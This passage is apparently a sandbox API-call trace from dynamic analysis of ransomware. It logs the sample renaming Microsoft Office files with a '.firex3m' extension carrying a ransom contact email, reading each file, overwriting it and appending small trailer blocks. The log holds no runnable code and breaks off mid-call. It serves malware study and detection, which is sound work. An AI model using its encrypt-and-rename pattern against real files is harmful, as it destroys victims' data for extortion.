ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28d3dc91, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x75cf, dwReserved0=0xa187496, dwReserved1=0x70a8ed0, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d5000 [0165.893] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0165.893] Sleep (dwMilliseconds=0x1) [0166.655] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll") returned 1 [0166.655] GetProcessHeap () returned 0x630000 [0166.655] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b94) returned 0x707d3d0 [0166.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0169.794] CloseHandle (hObject=0x4dc) returned 1 [0169.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0169.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5400 [0177.704] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0177.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0177.704] GetProcessHeap () returned 0x630000 [0177.704] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e0160 [0177.704] GetProcessHeap () returned 0x630000 [0177.704] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0177.705] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.705] ReadFile (in: hFile=0x4dc, lpBuffer=0x70e0160, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e0160*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.834] GetProcessHeap () returned 0x630000 [0185.834] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0185.835] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.835] WriteFile (in: hFile=0x4dc, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.835] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.835] WriteFile (in: hFile=0x4dc, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.836] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.836] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.836] CloseHandle (hObject=0x4dc) returned 1 [0185.836] GetProcessHeap () returned 0x630000 [0185.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0185.837] GetProcessHeap () returned 0x630000 [0185.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e0160 | out: hHeap=0x630000) returned 1 [0185.837] GetProcessHeap () returned 0x630000 [0185.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0185.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x34b645c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xa187496, dwReserved1=0x70e0158, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0185.837] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0185.838] Sleep (dwMilliseconds=0x1) [0187.549] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", len=0x4c | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx") returned 1 [0187.549] GetProcessHeap () returned 0x630000 [0187.549] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29ac) returned 0x707d3d0 [0187.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0187.550] CloseHandle (hObject=0x694) returned 1 [0187.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f7b, dwReserved0=0x6d, dwReserved1=0x0, cFileName="casual.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CASUAL~1.FIR")) returned 0x6d5280 [0187.552] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0187.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0187.552] GetProcessHeap () returned 0x630000 [0187.552] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f81) returned 0x745e780 [0187.552] GetProcessHeap () returned 0x630000 [0187.552] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f81) returned 0x7461710 [0187.552] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.552] ReadFile (in: hFile=0x694, lpBuffer=0x745e780, nNumberOfBytesToRead=0x2f60, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745e780*, lpNumberOfBytesRead=0x537ff0c*=0x2f60, lpOverlapped=0x0) returned 1 [0189.656] GetProcessHeap () returned 0x630000 [0189.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0189.656] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.656] WriteFile (in: hFile=0x694, lpBuffer=0x7461710*, nNumberOfBytesToWrite=0x2f60, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7461710*, lpNumberOfBytesWritten=0x537ff0c*=0x2f60, lpOverlapped=0x0) returned 1 [0189.656] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.656] WriteFile (in: hFile=0x694, lpBuffer=0x746466f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746466f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.657] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.657] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.657] CloseHandle (hObject=0x694) returned 1 [0189.657] GetProcessHeap () returned 0x630000 [0189.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7461710 | out: hHeap=0x630000) returned 1 [0189.657] GetProcessHeap () returned 0x630000 [0189.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745e780 | out: hHeap=0x630000) returned 1 [0189.657] GetProcessHeap () returned 0x630000 [0189.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0189.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36fe093b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f9f, dwReserved0=0xa187496, dwReserved1=0x745e778, cFileName="casual.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CASUAL~1.FIR")) returned 0x6d53c0 [0189.657] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0189.657] Sleep (dwMilliseconds=0x1) [0191.863] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest", len=0x42 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest") returned 1 [0191.863] GetProcessHeap () returned 0x630000 [0191.863] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45d8) returned 0x74656a8 [0191.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0191.863] CloseHandle (hObject=0x4dc) returned 1 [0191.863] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x7f63b8, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x81c496, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x622, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOE~1.FIR")) returned 0x6d4f80 [0191.864] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0191.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0191.865] GetProcessHeap () returned 0x630000 [0191.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x6fc88b8 [0191.865] GetProcessHeap () returned 0x630000 [0191.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x71eca30 [0191.865] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.865] ReadFile (in: hFile=0x4dc, lpBuffer=0x6fc88b8, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesRead=0x537ff0c*=0x620, lpOverlapped=0x0) returned 1 [0191.975] GetProcessHeap () returned 0x630000 [0191.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0191.975] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.975] WriteFile (in: hFile=0x4dc, lpBuffer=0x71eca30*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eca30*, lpNumberOfBytesWritten=0x537ff0c*=0x620, lpOverlapped=0x0) returned 1 [0191.975] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.976] WriteFile (in: hFile=0x4dc, lpBuffer=0x71ed04f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed04f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.976] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.976] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.976] CloseHandle (hObject=0x4dc) returned 1 [0191.976] GetProcessHeap () returned 0x630000 [0191.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eca30 | out: hHeap=0x630000) returned 1 [0191.976] GetProcessHeap () returned 0x630000 [0191.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0191.976] GetProcessHeap () returned 0x630000 [0191.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0191.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x7f63b8, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x385ee330, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xa187496, dwReserved1=0x6fc88b0, cFileName="visio.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOE~1.FIR")) returned 0x6d4ec0 [0191.976] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0191.976] Sleep (dwMilliseconds=0x1) [0193.115] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", len=0x4b | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx") returned 1 [0193.115] GetProcessHeap () returned 0x630000 [0193.115] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47d0) returned 0x7133a90 [0193.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0193.567] CloseHandle (hObject=0x4dc) returned 1 [0193.567] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BILLIN~1.FIR")) returned 0x6d4e40 [0200.136] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0200.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0200.136] GetProcessHeap () returned 0x630000 [0200.136] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x47e1) returned 0x7224598 [0200.136] GetProcessHeap () returned 0x630000 [0200.136] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x47e1) returned 0x70ac900 [0200.136] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.136] ReadFile (in: hFile=0x4dc, lpBuffer=0x7224598, nNumberOfBytesToRead=0x47c0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x537ff0c*=0x47c0, lpOverlapped=0x0) returned 1 [0201.949] GetProcessHeap () returned 0x630000 [0201.949] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0201.949] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.949] WriteFile (in: hFile=0x4dc, lpBuffer=0x70ac900*, nNumberOfBytesToWrite=0x47c0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ac900*, lpNumberOfBytesWritten=0x537ff0c*=0x47c0, lpOverlapped=0x0) returned 1 [0201.950] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.950] WriteFile (in: hFile=0x4dc, lpBuffer=0x70b10bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b10bf*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.950] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.950] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, 